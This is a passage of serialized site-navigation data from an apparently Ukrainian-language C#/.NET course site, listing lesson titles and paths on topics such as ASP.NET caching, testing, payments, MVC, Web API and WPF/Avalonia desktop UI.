Core","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fbackground-services","01.csharp\u002F11.aspnet\u002F04.notifications\u002F06.background-services",{"title":900,"path":901,"stem":902},"Web Push нотифікації","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fweb-push","01.csharp\u002F11.aspnet\u002F04.notifications\u002F07.web-push",{"title":904,"path":905,"stem":906},"Email нотифікації","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Femail-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F08.email-notifications",{"title":908,"path":909,"stem":910},"Порівняння підходів: Як вибрати правильну технологію нотифікацій","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fchoosing-the-right-approach","01.csharp\u002F11.aspnet\u002F04.notifications\u002F09.choosing-the-right-approach",{"title":912,"path":913,"stem":914},"Hangfire: Надійне планування фонових задач","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire","01.csharp\u002F11.aspnet\u002F04.notifications\u002F10.hangfire",{"title":916,"path":917,"stem":918},"Практика: Конвертація зображень у WebP через Hangfire","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire-image-webp","01.csharp\u002F11.aspnet\u002F04.notifications\u002F11.hangfire-image-webp",{"title":920,"path":921,"stem":922},"Практика: Підготовка відео до HLS-стрімінгу через Hangfire","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire-video-hls","01.csharp\u002F11.aspnet\u002F04.notifications\u002F12.hangfire-video-hls",{"title":924,"path":925,"stem":926},"Telegram-нотифікації: від одного повідомлення до масових розсилок і мульти-канального підходу","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Ftelegram-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F13.telegram-notifications",{"title":928,"icon":929,"path":930,"stem":931,"children":932,"page":59},"Інтернаціоналізація","i-lucide-languages","\u002Fcsharp\u002Faspnet\u002Fi18n","01.csharp\u002F11.aspnet\u002F05.i18n",[933,937],{"title":934,"path":935,"stem":936},"Інтернаціоналізація (i18n) у Minimal API: від A до Я","\u002Fcsharp\u002Faspnet\u002Fi18n\u002Finternationalization","01.csharp\u002F11.aspnet\u002F05.i18n\u002F01.internationalization",{"title":938,"path":939,"stem":940},"Humanizer: людиномовні рядки у .NET","\u002Fcsharp\u002Faspnet\u002Fi18n\u002Fhumanizer","01.csharp\u002F11.aspnet\u002F05.i18n\u002F02.humanizer",{"title":942,"icon":943,"path":944,"stem":945,"children":946,"page":59},"Кешування","i-lucide-layers","\u002Fcsharp\u002Faspnet\u002Fcaching","01.csharp\u002F11.aspnet\u002F06.caching",[947,951,955,959,963],{"title":948,"path":949,"stem":950},"Огляд кешування: чотири рівні і коли що обирати","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fcaching","01.csharp\u002F11.aspnet\u002F06.caching\u002F01.caching",{"title":952,"path":953,"stem":954},"IMemoryCache: кеш в оперативній пам'яті","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fmemory-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F02.memory-cache",{"title":956,"path":957,"stem":958},"IDistributedCache і Redis: розподілений кеш","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fdistributed-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F03.distributed-cache",{"title":960,"path":961,"stem":962},"Response Cache: HTTP-кешування через Cache-Control","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fresponse-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F04.response-cache",{"title":964,"path":965,"stem":966},"Output Cache: серверний кеш HTTP-відповідей (.NET 7+)","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Foutput-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F05.output-cache",{"title":968,"icon":969,"path":970,"stem":971,"children":972,"page":59},"Тестування","i-lucide-test-tube","\u002Fcsharp\u002Faspnet\u002Ftesting","01.csharp\u002F11.aspnet\u002F07.testing",[973,977,981,985,989,993,997,1001,1005,1009,1013,1017,1021,1025,1029,1033,1037,1041,1045,1049,1053],{"title":974,"path":975,"stem":976},"Що таке тестування? Від інтуїції до науки","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwhat-is-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F01.what-is-testing",{"title":978,"path":979,"stem":980},"Піраміда тестування — Стратегія, а не Догма","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-pyramid","01.csharp\u002F11.aspnet\u002F07.testing\u002F02.testing-pyramid",{"title":982,"path":983,"stem":984},"Дві Школи Тестування — Лондон проти Детройту","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-schools","01.csharp\u002F11.aspnet\u002F07.testing\u002F03.testing-schools",{"title":986,"path":987,"stem":988},"TDD та BDD — Тести як Дизайн-інструмент","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftdd-and-bdd","01.csharp\u002F11.aspnet\u002F07.testing\u002F04.tdd-and-bdd",{"title":990,"path":991,"stem":992},"Що саме тестувати — Техніки аналізу та Циклomatична складність","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwhat-to-test","01.csharp\u002F11.aspnet\u002F07.testing\u002F05.what-to-test",{"title":994,"path":995,"stem":996},"Тестові Фреймворки — Навіщо вони і що всередині","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftest-frameworks","01.csharp\u002F11.aspnet\u002F07.testing\u002F06.test-frameworks",{"title":998,"path":999,"stem":1000},"xUnit — Факти, Теорії та Lifecycle тестів","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fxunit-basics","01.csharp\u002F11.aspnet\u002F07.testing\u002F07.xunit-basics",{"title":1002,"path":1003,"stem":1004},"xUnit Advanced — Fixtures, Кастомізація та Розширення","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fxunit-advanced","01.csharp\u002F11.aspnet\u002F07.testing\u002F08.xunit-advanced",{"title":1006,"path":1007,"stem":1008},"Moq — Глибоке занурення в мокування","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fmocking-with-moq","01.csharp\u002F11.aspnet\u002F07.testing\u002F09.mocking-with-moq",{"title":1010,"path":1011,"stem":1012},"Тестування Баз Даних — EF Core, SQLite та Testcontainers","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fdatabase-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F10.database-testing",{"title":1014,"path":1015,"stem":1016},"Integration Testing — Частина 1 [Теорія та WebApplicationFactory]","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fintegration-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F11.integration-testing",{"title":1018,"path":1019,"stem":1020},"Інтеграційне тестування — Практика","\u002Fcsharp\u002Faspnet\u002Ftesting\u002F11a.integration-testing-practice","01.csharp\u002F11.aspnet\u002F07.testing\u002F11a.integration-testing-practice",{"title":1022,"path":1023,"stem":1024},"Integration Testing — Частина 2 [Просунуті Сценарії та Testcontainers]","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fintegration-testing-advanced","01.csharp\u002F11.aspnet\u002F07.testing\u002F12.integration-testing-advanced",{"title":1026,"path":1027,"stem":1028},"Професійний Postman: Колекції, Змінні та GitHub Інтеграція","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fpostman-professional","01.csharp\u002F11.aspnet\u002F07.testing\u002F13.postman-professional",{"title":1030,"path":1031,"stem":1032},"HttpClient у Тестах Частина 1: Архітектура та MockHttpMessageHandler","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fhttpclient-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F14.httpclient-testing",{"title":1034,"path":1035,"stem":1036},"HttpClient у Тестах Частина 2: WireMock.Net та Resilience","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwiremock-net","01.csharp\u002F11.aspnet\u002F07.testing\u002F15.wiremock-net",{"title":1038,"path":1039,"stem":1040},"Патерни та Анти-патерни Тестування: Test Smells","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-patterns","01.csharp\u002F11.aspnet\u002F07.testing\u002F16.testing-patterns",{"title":1042,"path":1043,"stem":1044},"Просунуті інструменти: Time, Snapshots та Властивості","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fadvanced-testing-tools","01.csharp\u002F11.aspnet\u002F07.testing\u002F17.advanced-testing-tools",{"title":1046,"path":1047,"stem":1048},"Тестування Архітектури з NetArchTest","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Farchitecture-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F18.architecture-testing",{"title":1050,"path":1051,"stem":1052},"Тестування Продуктивності: BenchmarkDotNet, NBomber та k6","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fperformance-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F19.performance-testing",{"title":1054,"path":1055,"stem":1056},"Залишок плану для курсу \"Тестування ASP.NET Minimal API\"","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fremaining_plan","01.csharp\u002F11.aspnet\u002F07.testing\u002Fremaining_plan",{"title":1058,"icon":1059,"path":1060,"stem":1061,"children":1062,"page":59},"Платежі","i-lucide-credit-card","\u002Fcsharp\u002Faspnet\u002Fpayments","01.csharp\u002F11.aspnet\u002F08.payments",[1063,1067,1071,1075,1079,1083,1087,1091,1095,1099,1103,1107],{"title":1064,"path":1065,"stem":1066},"Основи платіжної інфраструктури","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-fundamentals","01.csharp\u002F11.aspnet\u002F08.payments\u002F01.payment-fundamentals",{"title":1068,"path":1069,"stem":1070},"Методи оплати в Україні","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-methods-ukraine","01.csharp\u002F11.aspnet\u002F08.payments\u002F02.payment-methods-ukraine",{"title":1072,"path":1073,"stem":1074},"PCI DSS та безпека платежів","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpci-dss-security","01.csharp\u002F11.aspnet\u002F08.payments\u002F03.pci-dss-security",{"title":1076,"path":1077,"stem":1078},"Архітектура платіжної підсистеми","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-architecture","01.csharp\u002F11.aspnet\u002F08.payments\u002F04.payment-architecture",{"title":1080,"path":1081,"stem":1082},"Інтеграція LiqPay (ПриватБанк)","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fliqpay-integration","01.csharp\u002F11.aspnet\u002F08.payments\u002F05.liqpay-integration",{"title":1084,"path":1085,"stem":1086},"Інтеграція Monobank Acquiring API","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fmonobank-acquiring","01.csharp\u002F11.aspnet\u002F08.payments\u002F06.monobank-acquiring",{"title":1088,"path":1089,"stem":1090},"Інтеграція Stripe","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fstripe-integration","01.csharp\u002F11.aspnet\u002F08.payments\u002F07.stripe-integration",{"title":1092,"path":1093,"stem":1094},"Webhooks — глибоке занурення","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fwebhooks-deep-dive","01.csharp\u002F11.aspnet\u002F08.payments\u002F08.webhooks-deep-dive",{"title":1096,"path":1097,"stem":1098},"Підписки та рекурентні платежі","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fsubscriptions-recurring","01.csharp\u002F11.aspnet\u002F08.payments\u002F09.subscriptions-recurring",{"title":1100,"path":1101,"stem":1102},"Повернення коштів та диспути","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Frefunds-disputes","01.csharp\u002F11.aspnet\u002F08.payments\u002F10.refunds-disputes",{"title":1104,"path":1105,"stem":1106},"Тестування платіжних інтеграцій","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Ftesting-payments","01.csharp\u002F11.aspnet\u002F08.payments\u002F11.testing-payments",{"title":1108,"path":1109,"stem":1110},"Чекліст виходу в Production","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fproduction-checklist","01.csharp\u002F11.aspnet\u002F08.payments\u002F12.production-checklist",{"title":1112,"icon":1113,"items":1114,"path":1127,"stem":1128,"children":1129,"page":59},"Популярні бібліотеки","lucide:box",[1115,1116,1117,1118,1119,1120,1121,1122,1123,1124,1125,1126],"01.fluent-validation","02.mapster","03.erroror-result-pattern","04.serilog","05.mediatr","06.polly","07.health-checks","08.feature-management","09.fluent-email","10.quest-pdf","11.bogus","12.humanizer-guard","\u002Fcsharp\u002Faspnet\u002Flibraries","01.csharp\u002F11.aspnet\u002F09.libraries",[1130,1134,1138,1142,1146,1150,1154,1158,1162,1166,1170,1174,1178],{"title":1131,"path":1132,"stem":1133},"Валідація з FluentValidation в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffluent-validation","01.csharp\u002F11.aspnet\u002F09.libraries\u002F01.fluent-validation",{"title":1135,"path":1136,"stem":1137},"Маппінг об","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fmapster","01.csharp\u002F11.aspnet\u002F09.libraries\u002F02.mapster",{"title":1139,"path":1140,"stem":1141},"Обробка помилок з ErrorOr та Result Pattern в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ferroror-result-pattern","01.csharp\u002F11.aspnet\u002F09.libraries\u002F03.erroror-result-pattern",{"title":1143,"path":1144,"stem":1145},"Структуроване логування з Serilog в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fserilog","01.csharp\u002F11.aspnet\u002F09.libraries\u002F04.serilog",{"title":1147,"path":1148,"stem":1149},"CQRS та Mediator з MediatR в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fmediatr","01.csharp\u002F11.aspnet\u002F09.libraries\u002F05.mediatr",{"title":1151,"path":1152,"stem":1153},"Відмовостійкість з Polly в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fpolly","01.csharp\u002F11.aspnet\u002F09.libraries\u002F06.polly",{"title":1155,"path":1156,"stem":1157},"Health Checks в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fhealth-checks","01.csharp\u002F11.aspnet\u002F09.libraries\u002F07.health-checks",{"title":1159,"path":1160,"stem":1161},"Feature Management та Feature Flags в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffeature-management","01.csharp\u002F11.aspnet\u002F09.libraries\u002F08.feature-management",{"title":1163,"path":1164,"stem":1165},"Відправка Email з FluentEmail в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffluent-email","01.csharp\u002F11.aspnet\u002F09.libraries\u002F09.fluent-email",{"title":1167,"path":1168,"stem":1169},"Генерація PDF з QuestPDF в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fquest-pdf","01.csharp\u002F11.aspnet\u002F09.libraries\u002F10.quest-pdf",{"title":1171,"path":1172,"stem":1173},"Генерація тестових даних з Bogus в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fbogus","01.csharp\u002F11.aspnet\u002F09.libraries\u002F11.bogus",{"title":1175,"path":1176,"stem":1177},"Humanizer та Guard Clauses в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fhumanizer-guard","01.csharp\u002F11.aspnet\u002F09.libraries\u002F12.humanizer-guard",{"title":1179,"path":1180,"stem":1181},"План модуля 10.libraries — Популярні бібліотеки ASP.NET","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fplan","01.csharp\u002F11.aspnet\u002F09.libraries\u002Fplan",{"title":1183,"icon":1184,"path":1185,"stem":1186,"children":1187,"page":59},"Razor Pages","i-lucide-layout-template","\u002Fcsharp\u002Faspnet\u002Frazor-pages","01.csharp\u002F11.aspnet\u002F10.razor-pages",[1188,1192,1196,1200,1204,1208],{"title":1189,"path":1190,"stem":1191},"Від Minimal API до Razor Pages: концептуальний перехід","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Ffrom-minimal-api","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F01.from-minimal-api",{"title":1193,"path":1194,"stem":1195},"PageModel: логіка сторінки Razor Pages","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fpage-model","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F02.page-model",{"title":1197,"path":1198,"stem":1199},"Razor синтаксис: шаблонізатор у .cshtml","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Frazor-syntax","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F03.razor-syntax",{"title":1201,"path":1202,"stem":1203},"Tag Helpers: типізований HTML","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Ftag-helpers","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F04.tag-helpers",{"title":1205,"path":1206,"stem":1207},"Форми і валідація: повний цикл обробки даних","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fforms-validation","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F05.forms-validation",{"title":1209,"path":1210,"stem":1211},"Практичний проєкт: TaskManager на Razor Pages","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fproject-task-manager","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F06.project-task-manager",{"title":1213,"path":1214,"stem":1215,"children":1216,"page":59},"ASP.NET Core MVC","\u002Fcsharp\u002Faspnet\u002Fmvc","01.csharp\u002F11.aspnet\u002F11.mvc",[1217,1221,1225,1229,1233,1237,1241,1245,1249,1253,1257,1261,1265,1269,1273,1277,1281,1285],{"title":1218,"path":1219,"stem":1220},"Патерн MVC: архітектура, що змінила веб","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmvc-pattern","01.csharp\u002F11.aspnet\u002F11.mvc\u002F01.mvc-pattern",{"title":1222,"path":1223,"stem":1224},"Від Razor Pages до MVC: концептуальний перехід","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffrom-razor-pages","01.csharp\u002F11.aspnet\u002F11.mvc\u002F02.from-razor-pages",{"title":1226,"path":1227,"stem":1228},"Controllers та Actions: серце MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fcontrollers-actions","01.csharp\u002F11.aspnet\u002F11.mvc\u002F03.controllers-actions",{"title":1230,"path":1231,"stem":1232},"Маршрутизація в MVC: Convention vs Attribute Routing","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Frouting-mvc","01.csharp\u002F11.aspnet\u002F11.mvc\u002F04.routing-mvc",{"title":1234,"path":1235,"stem":1236},"Model Binding: від HTTP до C#","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmodel-binding","01.csharp\u002F11.aspnet\u002F11.mvc\u002F05.model-binding",{"title":1238,"path":1239,"stem":1240},"Views, ViewData, ViewBag, TempData і ViewModel","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fviews-viewdata-tempdata","01.csharp\u002F11.aspnet\u002F11.mvc\u002F06.views-viewdata-tempdata",{"title":1242,"path":1243,"stem":1244},"Filters: аспектно-орієнтоване програмування в MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffilters","01.csharp\u002F11.aspnet\u002F11.mvc\u002F07.filters",{"title":1246,"path":1247,"stem":1248},"Areas: структурування великих застосунків","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fareas","01.csharp\u002F11.aspnet\u002F11.mvc\u002F08.areas",{"title":1250,"path":1251,"stem":1252},"View Components: повторювані незалежні блоки UI","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fview-components","01.csharp\u002F11.aspnet\u002F11.mvc\u002F09.view-components",{"title":1254,"path":1255,"stem":1256},"Display та Editor Templates","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fdisplay-editor-templates","01.csharp\u002F11.aspnet\u002F11.mvc\u002F10.display-editor-templates",{"title":1258,"path":1259,"stem":1260},"Валідація: IValidatableObject та FluentValidation","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fvalidation-advanced","01.csharp\u002F11.aspnet\u002F11.mvc\u002F11.validation-advanced",{"title":1262,"path":1263,"stem":1264},"HTMX: інтерактивність через HTML-атрибути","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fhtmx","01.csharp\u002F11.aspnet\u002F11.mvc\u002F12.htmx",{"title":1266,"path":1267,"stem":1268},"HTMX у ASP.NET Core MVC: серверна інтеграція","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fajax-htmx-mvc","01.csharp\u002F11.aspnet\u002F11.mvc\u002F13.ajax-htmx-mvc",{"title":1270,"path":1271,"stem":1272},"Практичний проєкт: Каталог товарів з HTMX","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fhtmx-project","01.csharp\u002F11.aspnet\u002F11.mvc\u002F14.htmx-project",{"title":1274,"path":1275,"stem":1276},"Завантаження та обробка файлів","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffile-upload","01.csharp\u002F11.aspnet\u002F11.mvc\u002F15.file-upload",{"title":1278,"path":1279,"stem":1280},"Глобалізація та Локалізація MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fglobalization-localization","01.csharp\u002F11.aspnet\u002F11.mvc\u002F16.globalization-localization",{"title":1282,"path":1283,"stem":1284},"Підсумковий проєкт: Блог-платформа","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmvc-project","01.csharp\u002F11.aspnet\u002F11.mvc\u002F17.mvc-project",{"title":1286,"path":1287,"stem":1288},"План курсу: ASP.NET Core MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fplan","01.csharp\u002F11.aspnet\u002F11.mvc\u002Fplan",{"title":1290,"path":1291,"stem":1292,"children":1293,"page":59},"Web Api","\u002Fcsharp\u002Faspnet\u002Fweb-api","01.csharp\u002F11.aspnet\u002F12.web-api",[1294,1298,1302,1306,1310,1314,1318,1322,1326,1330,1334,1338,1342],{"title":1295,"path":1296,"stem":1297},"Від Minimal API до Controller-based API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Ffrom-minimal-api-to-controllers","01.csharp\u002F11.aspnet\u002F12.web-api\u002F01.from-minimal-api-to-controllers",{"title":1299,"path":1300,"stem":1301},"ControllerBase, ActionResult\u003CT> та Response Types","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fcontroller-base-actionresult","01.csharp\u002F11.aspnet\u002F12.web-api\u002F02.controller-base-actionresult",{"title":1303,"path":1304,"stem":1305},"Content Negotiation - JSON, XML та власні форматери","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fcontent-negotiation","01.csharp\u002F11.aspnet\u002F12.web-api\u002F03.content-negotiation",{"title":1307,"path":1308,"stem":1309},"Версіонування API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fapi-versioning","01.csharp\u002F11.aspnet\u002F12.web-api\u002F04.api-versioning",{"title":1311,"path":1312,"stem":1313},"ProblemDetails та структурована обробка помилок","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fproblemdetails-error-handling","01.csharp\u002F11.aspnet\u002F12.web-api\u002F05.problemdetails-error-handling",{"title":1315,"path":1316,"stem":1317},"Фільтри у Web API контексті","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Ffilters-for-api","01.csharp\u002F11.aspnet\u002F12.web-api\u002F06.filters-for-api",{"title":1319,"path":1320,"stem":1321},"Пагінація, фільтрація та сортування","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fpagination-filtering-sorting","01.csharp\u002F11.aspnet\u002F12.web-api\u002F07.pagination-filtering-sorting",{"title":1323,"path":1324,"stem":1325},"HATEOAS та Resource Expansion","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fhateoas-resource-expansion","01.csharp\u002F11.aspnet\u002F12.web-api\u002F08.hateoas-resource-expansion",{"title":1327,"path":1328,"stem":1329},"Гібридна архітектура - Minimal API + Controllers","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fminimal-api-vs-controllers-hybrid","01.csharp\u002F11.aspnet\u002F12.web-api\u002F09.minimal-api-vs-controllers-hybrid",{"title":1331,"path":1332,"stem":1333},"Документація API - Swashbuckle, NSwag та генерація клієнтів","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fapi-documentation-generation","01.csharp\u002F11.aspnet\u002F12.web-api\u002F10.api-documentation-generation",{"title":1335,"path":1336,"stem":1337},"Health Checks та моніторинг API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fhealth-checks-monitoring","01.csharp\u002F11.aspnet\u002F12.web-api\u002F11.health-checks-monitoring",{"title":1339,"path":1340,"stem":1341},"Підсумковий проєкт - Production-Ready REST API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fweb-api-project","01.csharp\u002F11.aspnet\u002F12.web-api\u002F12.web-api-project",{"title":1343,"path":1344,"stem":1345},"План курсу: ASP.NET Core Web API (Controllers)","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fplan","01.csharp\u002F11.aspnet\u002F12.web-api\u002Fplan",{"title":1347,"icon":1348,"path":1349,"stem":1350,"children":1351,"page":59},"Моніторинг","i-lucide-activity","\u002Fcsharp\u002Faspnet\u002Fmonitoring","01.csharp\u002F11.aspnet\u002F13.monitoring",[1352,1356,1360],{"title":1353,"path":1354,"stem":1355},"Спостережуваність: від console.log до production-систем","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fobservability-intro","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F01.observability-intro",{"title":1357,"path":1358,"stem":1359},"Health Checks: перший рівень observability","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fhealth-checks","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F02.health-checks",{"title":1361,"path":1362,"stem":1363},"Вбудовані метрики .NET 10 та System.Diagnostics.Metrics","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fdotnet-metrics","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F03.dotnet-metrics",{"title":1365,"icon":1366,"path":1367,"stem":1368,"children":1369,"page":59},"Desktop UI","i-lucide-app-window","\u002Fcsharp\u002Fdesktop-ui","01.csharp\u002F12.desktop-ui",[1370,1374,1378,1382,1386,1390,1394,1398,1402,1406,1410,1414,1418,1422,1426,1430,1434,1438,1442,1446,1450,1454,1458,1462,1466,1470,1474,1478,1482,1486,1490,1494,1498,1502,1506,1510,1514,1518,1522,1526,1530,1534,1538,1542,1546,1550,1554,1558,1562,1566,1570,1574,1578,1582,1586,1590,1594,1598,1602,1606,1610,1614,1618,1622,1626,1630,1634,1638,1642,1646,1650],{"title":1371,"path":1372,"stem":1373},"Що таке десктопна розробка?","\u002Fcsharp\u002Fdesktop-ui\u002Fwhat-is-desktop-dev","01.csharp\u002F12.desktop-ui\u002F01.what-is-desktop-dev",{"title":1375,"path":1376,"stem":1377},"Архітектура WPF — як влаштований графічний інтерфейс","\u002Fcsharp\u002Fdesktop-ui\u002Fwpf-architecture","01.csharp\u002F12.desktop-ui\u002F02.wpf-architecture",{"title":1379,"path":1380,"stem":1381},"Перший WPF-проєкт — від нуля до вікна","\u002Fcsharp\u002Fdesktop-ui\u002Ffirst-wpf-app","01.csharp\u002F12.desktop-ui\u002F03.first-wpf-app",{"title":1383,"path":1384,"stem":1385},"Перший Avalonia-проєкт: WPF для всіх платформ","\u002Fcsharp\u002Fdesktop-ui\u002F03a.first-avalonia-app","01.csharp\u002F12.desktop-ui\u002F03a.first-avalonia-app",{"title":1387,"path":1388,"stem":1389},"XAML: декларативний інтерфейс","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-basics","01.csharp\u002F12.desktop-ui\u002F04.xaml-basics",{"title":1391,"path":1392,"stem":1393},"Fluent UI у WPF — сучасний дизайн Windows 11","\u002Fcsharp\u002Fdesktop-ui\u002F04a.wpf-fluent-ui","01.csharp\u002F12.desktop-ui\u002F04a.wpf-fluent-ui",{"title":1395,"path":1396,"stem":1397},"WPF UI — сучасна бібліотека Fluent контролів","\u002Fcsharp\u002Fdesktop-ui\u002F04b.wpf-ui-library","01.csharp\u002F12.desktop-ui\u002F04b.wpf-ui-library",{"title":1399,"path":1400,"stem":1401},"HandyControl — велика бібліотека UI контролів для WPF","\u002Fcsharp\u002Fdesktop-ui\u002F04c.handycontrol-library","01.csharp\u002F12.desktop-ui\u002F04c.handycontrol-library",{"title":1403,"path":1404,"stem":1405},"Простори імен та ресурси XAML","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-namespaces-resources","01.csharp\u002F12.desktop-ui\u002F05.xaml-namespaces-resources",{"title":1407,"path":1408,"stem":1409},"XAML в Avalonia: ключові відмінності від WPF","\u002Fcsharp\u002Fdesktop-ui\u002F05a.avalonia-xaml-differences","01.csharp\u002F12.desktop-ui\u002F05a.avalonia-xaml-differences",{"title":1411,"path":1412,"stem":1413},"Розширення розмітки XAML (Markup Extensions)","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-markup-extensions","01.csharp\u002F12.desktop-ui\u002F06.xaml-markup-extensions",{"title":1415,"path":1416,"stem":1417},"Панелі Layout: StackPanel, WrapPanel, DockPanel","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-panels-part1","01.csharp\u002F12.desktop-ui\u002F07.layout-panels-part1",{"title":1419,"path":1420,"stem":1421},"Grid, Canvas, UniformGrid","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-panels-part2","01.csharp\u002F12.desktop-ui\u002F07.layout-panels-part2",{"title":1423,"path":1424,"stem":1425},"Просунуті техніки Layout","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-advanced","01.csharp\u002F12.desktop-ui\u002F08.layout-advanced",{"title":1427,"path":1428,"stem":1429},"Адаптивний Layout та найкращі практики","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-responsive","01.csharp\u002F12.desktop-ui\u002F09.layout-responsive",{"title":1431,"path":1432,"stem":1433},"Layout 